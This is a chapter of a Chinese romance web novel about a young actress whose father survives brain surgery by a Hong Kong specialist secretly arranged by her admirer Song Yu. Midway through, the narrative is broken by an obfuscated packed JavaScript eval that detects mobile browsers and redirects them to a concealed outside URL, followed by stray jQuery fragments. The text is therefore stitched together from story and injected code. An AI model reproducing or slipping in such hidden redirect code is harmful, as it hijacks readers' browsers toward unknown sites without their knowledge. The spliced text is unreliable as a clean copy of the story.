病房外面的白炽灯一整晚散发着灰蒙、清冷的光线。
“谢谢你了班长,有消息请一定告诉我。”
夏思清坐在走廊的凳子上,不知道打了第几个电话求人帮忙,甚至连小学班长的联系方式都翻了出来。
她眼底乌青,嘴唇干燥脱皮,盯着通讯录里的电话号码,空洞的眼神逐渐失焦。
没有电话可以打了,所有能联系的人她都联系遍了。
她连一个回电都没有收到。
夏思清感觉自己就像一颗可怜的雪糕球,一勺一勺地被人挖掉,再看看杯子底下,空了。
她站起来,脑袋一阵眩晕。
深吸了几口气之后,走回icu病房去看夏老汉儿。
夏老汉儿并不老,只是鬓角上有几丝银发,额头眼角些许皱纹,五官还有着年轻时几分的俊朗。
他闭着眼,胸脯在呼吸机的作用下一起一伏。
夏老汉儿有一只眼睛是被人戳瞎的。
她小时候被差点被人贩子拐走,夏志明单枪匹马从人贩子手里把她抢回来,却被那群人恶毒地用钢管扎进了左眼。
后来她摸着夏志明的左眼哭:“爸爸,你没了眼睛可怎么办啊……”
夏志明反过来安慰她,脸颊贴在她的额头上:“没事的幺女,爸爸把你抢回来就好咯!”
“没了一只眼爸爸还能活,没了你爸爸可活不下去咯……你才是爸爸最珍贵的东西。”
“莫要哭咯……不怕不怕……”
夏思清的妈在刚生下她的时候,就跟着一名富商跑了。
从小到大,都是夏志明抚养她、照顾她,害怕她受到继母欺负,一直没有起再娶的念头,街坊邻居介绍来的对象统统都让他拒之门外……
夏思清盯着病床上不能出声的夏志明,咽喉酸痛,泪水又滑下眼眶。
她心头唯一的念想就是:能不能来个人救救她的爸爸。
让她拿什么来换都可以,就算一辈子在娱乐圈做个小透明都可以。
夏思清握着床边的护栏,眼泪从嘴角滑落,打湿了手背。
这时候余菲的电话打进来——
“清清!我们找到人救你爸爸了!”
夏思清抽离的心神一下被拉回来,抬手去抹脸上的泪:“真的吗菲姐?”
接着余菲告诉她,香港有位心脑血管疾病的专家在看过病情之后,愿意带团队飞过来执刀。
“他们刚刚起飞了,估计中午就能到。”
夏思清点头说着好,泪光闪烁地挂了电话。
接着在网上搜索余菲说的那位香港医生,发现对方是神经内科的国际专家,带领团队攻克的都是国际上目前最为棘手的疑难杂症,有好几篇临床案例都发过医学顶刊。
夏思清心里的惶恐不安一下就少了大半。
有这么顶尖的医生给夏老汉儿做手术,怎么说成功率都会高很多吧……
只是她一瞬间想到,余菲……什么时候有这样的人脉了?
临近中午,那位香港来的黄教授抵达了夏思清所在的南川人民医院。
在看过夏志明的情况后,简单跟夏思清说了几句话。
接着便带着团队和夏志明主治医生、以及渝城来的专家进行联合会诊。
夏思清在病房里等会诊结束,回忆起刚刚跟在黄教授身边戴口罩的女医生。
不知道为什么,夏思清总感觉她有一丝眼熟。
一个半小时后,联合会诊结束,黄教授从里面走出来,要和家属进行术前确认。
“夏女士,目前从会诊的结果来看,我们觉得您父亲的身体条件和血管环境仍然具有手术条件。”
“脑干部位是人体的生命中枢,难度很大,但我们团队有过数次成功的经历,比较有信心能完成这次手术。”
“但我还是要提前跟你说明,任何手术都有失败的概率。”
夏思清颤抖着声音问:“那……失败的概率是多少?”
“有10-30%的概率手术可能失败,”黄教授如实相告,抿了抿唇角,“所以要请你最后确认是否手术。”
如果不手术,夏志明随时可能再次脑梗而陷入生命危险,那样就太过被动了。
夏思清望了望病床上的夏老汉儿,有一瞬间感觉他的命运好像就握在自己手里,好像自己的一句话就能决定他的去留。
她害怕,却又不得不保持清醒。
手术的成功率相比失败率来说是高的,哪怕有万分之一的概率能让夏老汉儿健健康康地活下去,她也愿意尝试。
夏思清在术前确认书上签下了自己的名字,收回手的瞬间,指尖冰凉发麻。
跟在黄教授身边的女医生收回了确认书,拉下口罩,露出了素净的瓜子脸:“放心,我们会尽全力救治你父亲。”
夏思清看见她的脸,惊讶认出:“苏……苏琳?”
苏琳拍了拍她的肩头,微微一笑,跟在黄教授身后追了过去。
下午3点,手术正式开始。
夏思清坐在手术室外面等候,她没办法做任何事情。
所有的注意力都在那扇紧闭的大门后面。
在廊道上来来回回走着,心里像扯着一根麻绳,她跟医们生站在一头,拼命从另一头的死神手里,把夏志明抢回来。
余菲发来微信问:【情况怎么样啊清清?】
夏思清停下来回复:【还在手术呢菲姐。】
脚底走得有些酸疼后,夏思清终于坐了下来。
刚刚见到苏琳让她觉得好一阵惊讶,夏思清意识到了什么,发微信问余菲:【菲姐,你们是怎么联系上黄教授的呀?我看他是国际专家……应该很难请过来吧?】
余菲在手机的另一头想起宋愈的交代:你别说是我帮的忙,我怕她不愿意接受。
于是回道:【唉没事,一个热心的朋友帮忙联系上的。】
夏思清垂了垂眼,发送:【这样。】
……
手术持续做了4个小时,手术门打开的时候,夏思清的心都提到了嗓子眼里。
她感觉自己走到黄教授面前的时候,声音和腿肚子都在隐隐打颤。
“医生……我……我爸爸手术还顺利吗?”
黄教授默默摘下口罩,抬了抬充满血丝的眼,叹出一口气——
“手术比想象中复杂,但过程还算顺利。”
黄教授微微扬笑,告诉夏思清:“你待会可以去看你爸爸了。”
夏思清的桃花眼亮一瞬间噙满喜极而泣的泪,晶莹剔透,随着鞠躬时滚落下来:“谢谢您医生……谢谢……”
·
手术之后,苏琳还没来得及脱下手术服,就接到了宋愈的电话。
“情况怎么样了?”
苏琳翻了个白眼:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944651|173084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“大哥,我跟我师傅刚从手术室出来,你不能让人喘口气吗?”
“这样吧,我在楼下咖啡厅,你下来跟我说吧。”
苏琳动作顿了顿,惊讶道:“你现在在南川?你从浔城过来啦?”
电话里头的人声音冷沉:“嗯。”
到了楼下咖啡厅,苏琳果然看见宋愈出现在这里。
“我说你不至于吧,奴役我和我师傅就算了,自己还亲自跑过来南川……”
苏琳不客气地拿起桌上还没打开的拿铁来喝。
宋愈薄唇微敛,只说:“替我谢谢你师傅,抽空我去躺香港,亲自向他道谢。”
他十指紧扣放在桌面:“跟我说说她……和她爸爸的情况吧。”
苏琳眼底意味深长,打趣道:“难得见你这么方寸大乱,就这么在意那个女孩?”
宋愈低了低眼,不长不短的睫毛在眼窝投下一片阴影:“我只是想……帮帮她。”
苏琳觉得宋愈有点口不对心,摇了摇头,叹气道:“手术挺顺利的,她爸爸救回来了。”
“不过她好像还是蛮伤心的,估计是心疼她爸爸遭了这么多罪吧。”
“抓着我师傅不停地鞠躬道谢,都快把头磕地上了……”
宋愈一边听着,一边将手指攥紧,骨节泛着白,唇角也紧抿着。
苏琳察觉到了宋愈异样的神情。
“说真的,你要是很想知道她现在的情况,为什么不自己上去找她?”
“安慰安慰她也好。”
宋愈默默靠在座椅背后,脸上掠过一阵忽明忽暗的光线。
随后耸肩笑了笑,眼底是说不出的晦涩黯淡:“算了,有你告诉我就够了。”
“我现在真的无法确定,她会不会想要见到我。”
“也许这个时候,我还是不出现比较好。”
苏琳见完宋愈,回到住院楼的时候,去病房看了夏思清。
夏思清果然问她:“苏医生,你不是宋愈的私人医生吗?怎么会……”
苏琳插着裤兜,跟她解释:“没错,我在浔城是他的私人医生,但更多的时候我在香港跟着我师傅做研究。”
“今天给你爸爸做手术的,是我的博导黄教授。”
夏思清听到这里,心里的猜测已经确定了八九分。
余菲说的那个热心朋友……可能就是宋愈。
“苏医生,今天非常感谢你和你的师傅,明天我请你们吃个饭,你看行吗?”
夏思清觉得不管怎么样,苏琳和黄教授从香港飞过来渝城给夏老汉儿动手术,这份恩情她怎么都要答谢的。
苏琳挽嘴一笑:“不用啦,我和我师傅明天就飞回香港了。”
夏思清微微皱眉:“这么快?”
“嗯,”苏琳拍了拍肩膀,“不过你别担心,有另一名医生会留下来观察你爸爸的情况,等你爸爸的情况稳定下来他才会离开。”
“好,谢谢你苏医生,”夏思清带着些鼻音,看向苏琳的眼神满是感激,“下次你回浔城,我一定请你吃饭。”
苏琳跟她摆摆手转身离开,走了几步想起了刚才在咖啡馆神伤的可怜虫。
回头告诉夏思清:“你不用谢我,去谢谢他吧,他请的我师傅出山。”
夏思清疑惑地眯起了眼,接着听到苏琳说——
“他现在就在楼下咖啡馆,你可以去找他。”